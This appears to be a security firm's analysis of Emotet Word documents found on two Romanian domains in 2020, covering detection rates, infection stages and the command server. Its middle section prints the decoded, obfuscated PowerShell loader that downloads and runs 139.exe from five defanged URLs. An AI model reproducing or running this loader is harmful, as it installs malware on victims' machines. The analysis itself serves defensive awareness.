Emotet, the banking trojan hosted on Romanian domains: a step-by-step analysis

Analysis originally published in January 2020.

Emotet is a downloader trojan: it needs the victim to act before it can start, then it downloads the “real” malware, which steals personal data, accounts and card details. In January 2020, two Romanian domains appeared on public lists of compromised infrastructure and hosted Word documents infected with Emotet. This analysis follows the path from the document to the attacker’s command panel.

Key points

  • Emotet first circulated as an executable or bundled with “free” software; from 2019 to 2020 it spread through Word documents sent by email.
  • The document contains a hidden, Base64-encoded PowerShell command that downloads the real file.
  • At download time, the antivirus did not react.
  • The downloaded file (139.exe) installed another component, which connected to the command and control server.
  • An unprotected website or server can become part of the attack infrastructure without its owner knowing.

What Emotet is

Emotet is the key that opens the door for the actual malware. Delivering it through documents that carry a download command and a web address fools both the email filters and the victim. Once it is in with the victim’s consent, the only remaining chance is for the antivirus or the firewall to recognise it.

The Romanian domains

Lists of compromised IP addresses, domains and devices are published every day. One of them contained two Romanian domains, presumed to be controlled by attackers and used to host malicious files.

Emotet on Romanian domains, screenshot from the ProDefence analysis

Both addresses held .doc files. Up to this point the antivirus did not react.

Emotet on Romanian domains, screenshot from the ProDefence analysis
Emotet on Romanian domains, screenshot from the ProDefence analysis

The files are downloaded from the .ro domains and appear as Microsoft Word 97 to 2003 documents.

Emotet on Romanian domains, screenshot from the ProDefence analysis
When scanned, the file is detected by only 18 of the 60 vendors on the platform. A large share of antivirus products will therefore NOT react when it lands on a device.
Emotet on Romanian domains, screenshot from the ProDefence analysis
In this variant, only the products listed above can identify the malware.
Emotet on Romanian domains, screenshot from the ProDefence analysis
The reason for the weak detection: the sample was created that same day. The attacker keeps producing “clean” variants to avoid detection.
Emotet on Romanian domains, screenshot from the ProDefence analysis

What the document does

When opened, Word runs the document from the temporary folder, and the document launches PowerShell with a hidden command (invisible window) encoded in Base64. Decoded, the command looks like this (the addresses are deliberately defanged):

$Xgmxijlqickli = '139';
$Yqeishrftmp = $env:userprofile + '\' + $Xgmxijlqickli + '.exe';
$Snyletzkfjfn = &('ne'+'w-o'+'b'+'ject') neT.wEBCLiEnT;
$Gapkseiveo = 'hxxp://trangvang[.]info[.]vn/home/poIc7l/*hxxps://www[.]flybuys[.]net/libraries/xes/*hxxp://informatic-club[.]com/language/y/*hxxp://demo[.]stickypost[.]io/wp-admin/g/*hxxps://www[.]drivertrainerschool[.]com[.]au/logs/RYJPgrKOJ/'."splIT"([char]42);
foreach($Kxztalhpinv in $Gapkseiveo){ try{ $Snyletzkfjfn."dowNLOaDFilE"($Kxztalhpinv, $Yqeishrftmp);
  If ((.('Get-'+'Item') $Yqeishrftmp)."lengtH" -ge 32681) { [Diagnostics.Process]::"sTaRT"($Yqeishrftmp); break } }catch{} }

In short: the script tries five addresses in turn, downloads a file from the first one that answers, saves it as 139.exe in the user profile and, if the file has the expected size, runs it. The document is therefore not something to read but a download tool.

Emotet on Romanian domains, screenshot from the ProDefence analysis
The downloaded file is described as “ATLUtils Module” (Active Template Library); it is in fact our 139.exe.
Emotet on Romanian domains, screenshot from the ProDefence analysis
14 detections out of 73: bad news for potential victims.

Stage two

Once executed, the file installs another executable, which connects to the server that sends the attacker’s commands.

Emotet on Romanian domains, screenshot from the ProDefence analysis

From there the malware receives and runs commands: it spreads across the network, collects and sends data, attacks other systems, records the keyboard, the camera or the screen. In the case analysed, the device connected to the address 68.114.229[.]171, where the command and control panel was located.

Conclusion

If you run an unprotected website or server, you can become an active part of the attackers’ illegal activity. For users the rule stays the same: be careful with the documents you open, no matter who you think sent them.

The Emotet network was taken down in January 2021 in an international operation coordinated by Europol, but it later returned. See also the Emotet attack on CV19 Romania. To have a suspicious document examined, ProDefence provides analysis of suspicious files and malware.

Skip to content